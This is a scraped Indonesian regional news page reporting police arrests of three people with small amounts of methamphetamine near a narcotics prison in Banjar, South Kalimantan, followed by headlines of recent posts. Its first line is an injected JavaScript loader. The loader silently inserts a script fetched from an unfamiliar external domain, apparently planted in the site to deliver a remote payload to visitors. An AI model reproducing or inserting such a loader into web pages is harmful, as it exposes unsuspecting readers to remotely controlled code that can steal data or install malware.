(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Dibuntuti Polisi, 2 Lelaki ini Ambil Sabu di Belakang Lapas Narkotika


MARTAPURA, Satuan Reserse Narkoba Polres Banjar berhasil mengungkap 3 kasus tindak pidana narkotika, 3 tersangka berhasil diamankan, Kamis (24/5). Sat Resnarkoba Polres Banjar melakukan pengintaian di Lapas Narkotika Klas 2 Karang Intan, pasca terungkapnya 82 paket sabu yang gagal edar di Lapas itu.

Kapolres Banjar AKBP Takdir Mattanete melalui Kasat Resnarkoba Iptu Achmad Jarkasi mengatakan, pada Kamis (24/5) sekitar pukul 13.00 Wita, di belakang bangunan Lapas Narkotika Klas II Karang Intan Kabupaten Banjar, polisi berhasil mengamankan 2 orang pelaku A alias Kentung dan MHA alias Bolang.

Kedua orang terbukti tertangkap tangan miliki sabu-sabu 0,40 gram, satu sobekan plastik warna hijau, satu buah Hp Nokia warna hitam, satu lembar Resi Bank BRI an. Hamriah, satu buah batu dan uang tunai sebesar Rp 37.000.

Pada saat dilakukan penangkapan terhadap para pelaku ditemukan barang bukti berupa satu paket sabu-sabu yg diikat dengan plastik dan diberi batu sebagai pemberat yg ditemukan di dekat pelaku A yang diakui adalah miliknya.

Menurut Iptu Jarkasi, paket sabu tersebut dilempar dari dalam Lapas Narkotika Klas II Karang Intan yang merupakan pesanan A dan MHA dengan cara urunan uang bersama. “Kedua pelaku dan barang bukti diamankan ke Polres Banjar untuk proses hukum lebih lanjut,” sahutnya.

Tepisah, Sat Narkoba Polres Banjar juga berhasil mengamankan S alias Isah (26) warga desa Mandikapau, Kecamatan Karang Intan yang memiliki paket sabu-sabu 0,31 gram.

“Pada saat dilakukan penangkapan S ditemukan barang bukti berupa satu paket sabu-sabu yang sempat dijatuhkan pelaku ke tanah dekat pelaku berada dan selanjutnya pelaku beserta barang bukti dibawa ke Polres Banjar,” terangnya.

Penangkapan 3 orang pelaku tersebut merupakan pengembangan dari kasus barang bukti 82 paket sabu senilai Rp 20 juta di Lapas Narkotika Klas II A Karang Intan yang berhasil gagal edar setelah ditemukan petugas Lapas Karang Intan, Selasa (15/5). (rendy)

Reporter:Rendy
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Lolos Verifikasi Jalur Calon Perseorangan Lalu Mundur Diri, Siap-siap Kena Sanksi

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru menggelar sosialisasi persiapan pencalonan bakal pasangan… Read More

11 jam ago

Hadapi Satu Wasaka Award, Bappedalitbang Banjar Kumpulkan SKPD Terkait

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Rapat… Read More

12 jam ago

Bupati Banjar Serahkan Bonus untuk Kafilah Kabupaten Banjar, Segini Rinciannya

KANALKALIMANTAN.COM, MARTAPURA -  Pemerintah Kabupaten Banjar melakukan syukuran atas prestasi yang diraih kafilah Kabupaten Banjar,… Read More

12 jam ago

Proyek Trotoar Jalan Kemuning Langsung Drainase, Begini Respon Warga yang Pagarnya Kena Bongkar

KANALKALIMANTAN.COM, BANJARBARU - Proyek penataan Jalan Kemuning, Kecamatan Banjarbaru Selatan, Kota Banjarbaru, dengan penyedian trotoar… Read More

13 jam ago

35 Peserta Ikuti Bimtek Pengawasan Jalan dan Jembatan Dinas PUPR Kalsel

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) melalui Dinas Pekerjaan Umum dan Penataan Ruang… Read More

14 jam ago

H Muhidin Siap Lamar Semua Parpol, Incar Cagub Kalsel Gandeng Hasnur

KANALKALIMANTAN.COM, BANJARMASIN - Keinginan Ketua Umum Dewan Pimpinan Wilayah (DPW) Partai Amanat Nasional (PAN) Kalimantan… Read More

15 jam ago

This website uses cookies.